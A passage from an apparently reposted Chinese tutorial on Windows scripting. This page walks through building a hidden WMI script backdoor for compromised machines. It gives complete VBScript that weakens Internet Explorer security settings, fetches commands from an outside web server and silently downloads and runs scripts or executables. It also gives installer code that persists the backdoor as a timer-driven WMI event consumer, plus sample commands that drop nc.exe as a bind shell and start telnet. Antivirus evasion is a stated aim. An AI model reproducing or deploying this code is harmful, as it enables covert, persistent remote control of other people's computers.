T086学习网 | 站长学院 | 技术文档 | 成语 | 歇后语 | 帝国时代 | 代码收藏 | IP地址查询 | 生活百科 | 生日密码 | CSS压缩 | 用户评论 | 欣欣百宝箱

深入挖掘Windows脚本技术

【 网络作者:佚名 更新时间:2008-02-27 | 字体:
[导读]【目录】 1,前言 2,回顾WSH对象 3,WMI服务 4,脚本也有GUI 5,反查杀 6,来做个后门 7,结语 8,参考资料 【前言】 本文讲述一些Windows脚本编程的知识和技巧。这里的Windows脚本是指 Windows Script Host (WSH W...
下面开始讨论脚本后门。

WMI提供了两个计时器:__AbsoluteTimerInstruction和__IntervalTimerInstruction,分别在指定的时刻和时间间隔触发事件,注册一个过滤器来捕获计时器事件,再和ASEC绑定,我们就获得了一种少见的程序自启动的方法。而且,脚本代码完全隐藏在CIM存储库中,不以独立的文件存在,查杀比较困难。这是脚本后门的优势,但困难也不少:

1,脚本运行时,由系统自带的scrcons.exe作为脚本宿主(Windows的设计者还没有笨到用WMI服务作为脚本宿主)。这就会增加一个进程,虽然是系统正常的进程,杀毒软件拿它没辙,但还是太显眼了。所以,不能让脚本一直在后台运行,而是应该每隔一段时间启动一次,然后尽快结束。脚本结束后,scrcons.exe进程不会自动结束,必须让脚本借助WMI提供的Win32_Process对象主动终止宿主进程(煮豆燃豆萁?!)。

2,脚本的网络功能很差,基本上只能依靠Microsoft.XMLHTTP之类的对象。因此,脚本后门不能监听端口并提供cmd shell,只能反向连接到web服务器,获取控制命令。一个可行的办法是,在web服务器上放一个命令文件,脚本后门根据域名找到服务器并下载命令文件,再根据文件内容作出响应。所以,你需要一台web服务器,或者用netbox等工具建个临时服务器。当然,你不需要让服务器总是在线,需要控制脚本后门时再运行就可以了。

3,由于脚本后门间歇式运行,需要防止重复运行同一个命令。解决方法是在注册表里记录命令的长度,每次获取命令后将长度和记录做比较,如果相同则跳过,不同则覆盖并执行命令。

4,为了借助ie对象穿透防火墙,XMLHTTP对象必须在ie中被创建,这会受到Internet域安全级别的限制。即使将代码保存在html文件中再用ie打开,也不过是“我的电脑”域,创建不安全的ActiveX对象还是会弹出警告对话框。解决办法是修改注册表,临时更改安全设置。

5,WScript对象由wscript.exe或cscript.exe提供,而scrcons.exe没有提供,所以很多常用的功能,比如WScript.Sleep都不能用了。不能Sleep就无法异步使用XMLHTTP,而同步XMLHTTP可能被长时间阻塞,大大不利于后门的隐蔽。调用ping命令来延时会创建新进程,用WScript.Shell的Popup方法延时则有“咚”一声提示音。好在Microsoft.XMLHTTP的“亲戚”不少,比如Msxml2.XMLHTTP、Msxml2.ServerXMLHTTP、Msxml2.DOMDocument、WinHttp.WinHttpRequest等。最后那个可以设置超时时间,刚好满足需要。

即使有重重困难,脚本后门仍然值得挑战一下。当肉鸡上的各类木马纷纷被杀毒软件肃清后,一个24小时才运行一次的脚本后门可能是你最后的希望。

下面是一个简单的脚本后门的核心代码(没有安装功能):

cmdu="http://myweb.8866.org/cmd.txt"      '从web服务器获取命令的url'

cmdw=4000                                 '下载超时时间4秒'

cmdl="HKLMSOFTWAREMicrosoftWBEMCIMOMCmdLength"   '记录命令长度的键值名'

on error resume next                      '忽略非致命错误  '(调试时注释掉本行)

set shl=createobject("WScript.Shell")     '虽然不能使用WScript根对象,其子对象还是可以用的'

set aso=createobject("ADODB.Stream")

set ie=createobject("InternetExplorer.Application")   '使用ie绕过防火墙'

zone="HKCUSOFTWAREMicrosoftWindowsCurrentVersionInternet Settingsones3"

set1=zone&"1201"

set2=zone&"1400"

set3=zone&"CurrentLevel"

val1=shl.regread(set1)                    '保存原来的安全设置'

val2=shl.regread(set2)

val3=shl.regread(set3)

regd="REG_DWORD"

shl.regwrite set1,0,regd                  '允许在Internet域运行不安全的ActiveX'

shl.regwrite set2,0,regd                  '允许活动脚本'

shl.regwrite set3,0,regd                  '设置当前Internet域安全级别为“自定义”'

ie.visible=0                              ':ie.visible=1  '(调试用)

ie.navigate "about"&":blank"              '这里使用字符串连接纯属反论坛过滤'

ie.document.write _

"<script>function whr(){return new ActiveXObject('WinHttp.WinHttpRequest.5.1')}</script>"

set whr=ie.document.script.whr()          '在ie内创建WinHttpRequest对象'

whr.settimeouts cmdw,cmdw,cmdw,cmdw       '设置域名解析、连接、发送和接收超时时间'

whr.open "GET",cmdu,true                  '获取命令文件'

whr.send

if not whr.waitforresponse(cmdw) then die

if whr.status>299 then die

rt=whr.responsetext                       ':wscript.echo rt  '(调试用)

                                          ':shl.regwrite cmdl,0,regd  '(调试用)

if len(rt)=shl.regread(cmdl) then die     '与前一个命令的长度比较'

shl.regwrite cmdl,len(rt),regd            '更新命令长度'

cmds=split(rt,vbcrlf,-1)

if ubound(cmds)<1 then die

cmdt=lcase(trim(cmds(0)))                 ':wscript.echo cmdt  '(调试用)

aso.type=1

aso.open

cd=shl.currentdirectory&chr(92)

select case cmdt                          '分析命令文件类型'

   case "'vbs"                            '是vbs'

      execute(rt)                         '直接在当前脚本上下文中执行'

      die

   case ":bat"                            '是批处理'

      aso.write whr.responsebody

      aso.savetofile cd&"_.bat",2         '保存在当前目录'

      aso.close

      shl.run chr(34)&cd&"_.bat""",0      '运行批处理'

      die

   case "'wsh"                            '是Windows脚本'

      aso.write whr.responsebody

      aso.savetofile cd&"_.vbs",2         '保存在当前目录'

      aso.close

      shl.run "cscript.exe """&cd&"_.vbs""",0 '使用cscript作为脚本宿主'

      die

   case "exe"                             'exe需进一步分析'

   case else die

end select

if ubound(cmds)<4 then die                ':wscript.echo cmds(1)  '(调试用)

whr.open "GET",cmds(1),true               '从指定位置下载exe文件'

whr.send

if not whr.waitforresponse(cmds(2)) then die

if whr.status>299 then die

path=shl.expandenvironmentstrings(cmds(3))'展开保存路径中的环境变量'

aso.write whr.responsebody                ':wscript.echo path  '(调试用)

aso.savetofile path,2                     '保存exe文件'

aso.close

shl.run chr(34)&path&""" "&cmds(4),0      '执行exe'

die

sub die

   ie.quit

   shl.regwrite set1,val1,regd            '还原Internet域安全设置'

   shl.regwrite set2,val2,regd

   shl.regwrite set3,val3,regd

   for each ps in getobject("winmgmts:\. ootcimv2:win32_process").instances_

      if lcase(ps.name)="scrcons.exe" then ps.terminate   '自杀'

   next

   'wscript.echo "die": wscript.quit  '(调试用)

end sub

取消调试语句的注释,上面这段核心代码就可以直接运行。

它将试图从myweb.8866.org上获取cmd.txt,根据里面的内容进一步行动。

cmd.txt看起来像这样:

exe                              //被执行的文件类型,可以是'vbs、:bat、exe或'wsh

http://myweb.8866.org/nc.exe     //被执行的文件的下载url

4000                             //下载超时时间,单位毫秒

%windir%system32 c.exe         //文件的保存位置,支持环境变量

-L -p 1234 -e cmd.exe            //命令行参数

收到上面这个命令后,脚本将从指定url下载nc.exe,保存到系统目录并运行。

如果第一行的文件类型为'vbs、'wsh或:bat,则把命令文件本身当作脚本或批处理来执行。比如:

:bat

net start telnet         :启动telnet服务

del %0              :自删除

如果只是想让某台主机执行命令,可以这样:

:bat

ipconfig | find "123.45.67.89" && net start telnet

del %0

这样就只有ip地址为123.45.67.89的主机才会启动telnet。

'wsh和'vbs的区别是,前者保存为文件由cscript.exe调用,后者直接在脚本后门“内部”执行。

使用'vbs的好处是不用生成文件,而且可以直接利用后门中已经创建的对象,比如shl,但也因此不能用WScript根对象。

下面的'vbs命令文件把"本地帐户的共享和安全模式"由"仅来宾"改为"经典"(对XP和2003有效):

'vbs

shl.regwrite "HKLMSYSTEMCurrentControlSetControlLsaforceguest",0,"REG_DWORD"

注意,vbs和wsh前面都有一个单引号,因为整个命令文件都作为脚本执行,所以必须注释掉第一行,:bat也是一样。

使用'vbs时千万注意不要有语法错误,否则会使后门出错并停止。如果是复杂的脚本,建议使用'wsh。

将核心代码改写为单行字符串格式,就可以作为ASEC的实例安装了。改写时要注意"if"和"end if"配对以及去掉续行符。

完整的安装脚本代码如下:

'***以下为参数配置,请根据情况自行修改***'

nslink="winmgmts:\. ootcimv2:"                   'ASEC所在的名字空间'

doorname="vbscript_backdoor"                        '记住后门的名字,卸载时需要'

runinterval=86400000                                '每天运行一次'

cmdu="http://myweb.8866.org/cmd.txt"                '命令文件的位置'

cmdw=4000                                           '文件下载超时时间'

cmdl="HKLMSOFTWAREMicrosoftWBEMCIMOMCmdLength" '保存命令长度的键值名'

'***参数配置结束***'

createobject("WScript.Shell").regwrite cmdl,0,"REG_DWORD"

'脚本后门核心代码'

stxt="cmdu="""&cmdu&""":cmdw="&cmdw&":cmdl="""&cmdl&""":on error resume next:set shl=createobject(""WScript.Shell""):set aso=createobject(""ADODB.Stream""):set ie=createobject(""InternetExplorer.Application""):zone=""HKCUSOFTWAREMicrosoftWindowsCurrentVersionInternet Settingsones3"":set1=zone&""1201"":set2=zone&""1400"":set3=zone&""CurrentLevel"":val1=shl.regread(set1):val2=shl.regread(set2):val3=shl.regread(set3):regd=""REG_DWORD"":shl.regwrite set1,0,regd:shl.regwrite set2,0,regd:shl.regwrite set3,0,regd:ie.visible=0:ie.navigate ""about""&"":blank"":ie.document.write ""<script>function whr(){return new ActiveXObject('WinHttp.WinHttpRequest.5.1')}</script>"":with ie.document.script.whr():.settimeouts cmdw,cmdw,cmdw,cmdw:.open ""GET"",cmdu,true:.send:if not .waitforresponse(cmdw) then die:end if:if .status>299 then die:end if:rt=.responsetext:if len(rt)=shl.regread(cmdl) then die:end if:shl.regwrite cmdl,len(rt),regd:cmds=split(rt,vbcrlf,-1):if ubound(cmds)<1 then die:end if:cmdt=lcase(trim(cmds(0))):aso.type=1:aso.open:cd=shl.currentdirectory&chr(92):select case cmdt:case ""'vbs"":execute(rt):die:case "":bat"":aso.write .responsebody:aso.savetofile cd&""_.bat"",2:aso.close:shl.run chr(34)&cd&""_.bat"""""",0:die:case ""'wsh"":aso.write .responsebody:aso.savetofile cd&""_.vbs"",2:aso.close:shl.run ""cscript.exe """"""&cd&""_.vbs"""""",0:die:case ""exe"":case else die:end select:if ubound(cmds)<4 then die:end if:.open ""GET"",cmds(1),true:.send:if not .waitforresponse(cmds(2)) then die:end if:if .status>299 then die:end if:path=shl.expandenvironmentstrings(cmds(3)):aso.write .responsebody:aso.savetofile path,2:aso.close:shl.run chr(34)&path&"""""" ""&cmds(4),0:end with:die:sub die:ie.quit:shl.regwrite set1,val1,regd:shl.regwrite set2,val2,regd:shl.regwrite set3,val3,regd:for each ps in getobject(""winmgmts:\. ootcimv2:win32_process"").instances_:if lcase(ps.name)=""scrcons.exe"" then ps.terminate:end if:next:end sub"

'配置事件消费者'

set asec=getobject(nslink&"ActiveScriptEventConsumer").spawninstance_

asec.name=doorname&"_consumer"

asec.scriptingengine="vbscript"

asec.scripttext=stxt

set asecpath=asec.put_

'配置计时器'

set itimer=getobject(nslink&"__IntervalTimerInstruction").spawninstance_

itimer.timerid=doorname&"_itimer"

itimer.intervalbetweenevents=runinterval

itimer.skipifpassed=false

itimer.put_

'配置事件过滤器'

set evtflt=getobject(nslink&"__EventFilter").spawninstance_

evtflt.name=doorname&"_filter"

evtflt.query="select * from __timerevent where timerid="""&doorname&"_itimer"""

evtflt.querylanguage="wql"

set fltpath=evtflt.put_

'绑定消费者和过滤器'

set fcbnd=getobject(nslink&"__FilterToConsumerBinding").spawninstance_

fcbnd.consumer=asecpath.path

fcbnd.filter=fltpath.path

fcbnd.put_

wscript.echo "安装完成"

与前一个永久事件处理过程不同的是,脚本后门的事件源是计时器,在每个名字空间都可以实例化并触发事件。所以,不一定要将ASEC安装到rootcimv2。特别是XP/2003,ASEC默认已经安装到rootsubscription,只需要相应修改nslink的值,就可以安装脚本后门了。

卸载脚本后门:

cmdl="HKLMSOFTWAREMicrosoftWBEMCIMOMCmdLength"

createobject("WScript.Shell").regdelete cmdl        '删除保存命令长度的键值'

nslink="winmgmts:\. ootcimv2:"

doorname="vbscript_backdoor"            '根据脚本后门的名字找到各个对象实例'

myconsumer=doorname&"_consumer"

mytimer=doorname&"_itimer"

myfilter=doorname&"_filter"

set binds=getobject(nslink&"__FilterToConsumerBinding").instances_

for each bind in binds

   if strcomp(right(bind.consumer,len(myconsumer)+1),myconsumer&chr(34),1)=0 _

      and strcomp(right(bind.filter,len(myfilter)+1),myfilter&chr(34),1)=0 then

      bind.delete_

      exit for

   end if

next

getobject(nslink&"ActiveScriptEventConsumer.Name="""&myconsumer&"""").delete_

getobject(nslink&"__IntervalTimerInstruction.TimerId="""&mytimer&"""").delete_

getobject(nslink&"__EventFilter.Name="""&myfilter&"""").delete_

wscript.echo "卸载完成"

几点补充说明:

1,脚本后门的优势在于隐蔽,所以24小时才运行一次是合适的。不用担心因为系统关机而错过运行机会,下次启动时会补上的。

2,为了更好的反查杀,可以给脚本后门的核心代码加壳。在功能上也可以改进到接近IRC木马的程度,只不过服务端是Web服务器,不能同时养太多的马。

3,脚本后门的自启动和运行依赖于WMI服务,虽然禁用WMI服务就可以杜绝此类后门和木马,但比起通过注册表启动还是可靠的多。如果被蠕虫病毒利用,恐怕会很麻烦吧。

上一页 [1] [2] [3] [4] 5 [6] 下一页
  • 转载请注明来源:IT学习网 网址:http://www.t086.com/ 向您的朋友推荐此文章
  • 特别声明: 本站除部分特别声明禁止转载的专稿外的其他文章可以自由转载,但请务必注明出处和原始作者。文章版权归文章原始作者所有。对于被本站转载文章的个人和网站,我们表示深深的谢意。如果本站转载的文章有版权问题请联系我们,我们会尽快予以更正。
  • 了解这些字:
  • 更多
    留言建议ASP探针PHP探针站长Enjoy的Blog
    © 2017 T086学习网 - T086.com(原itlearner.com)
    RunTime:19.29ms QueryTime:7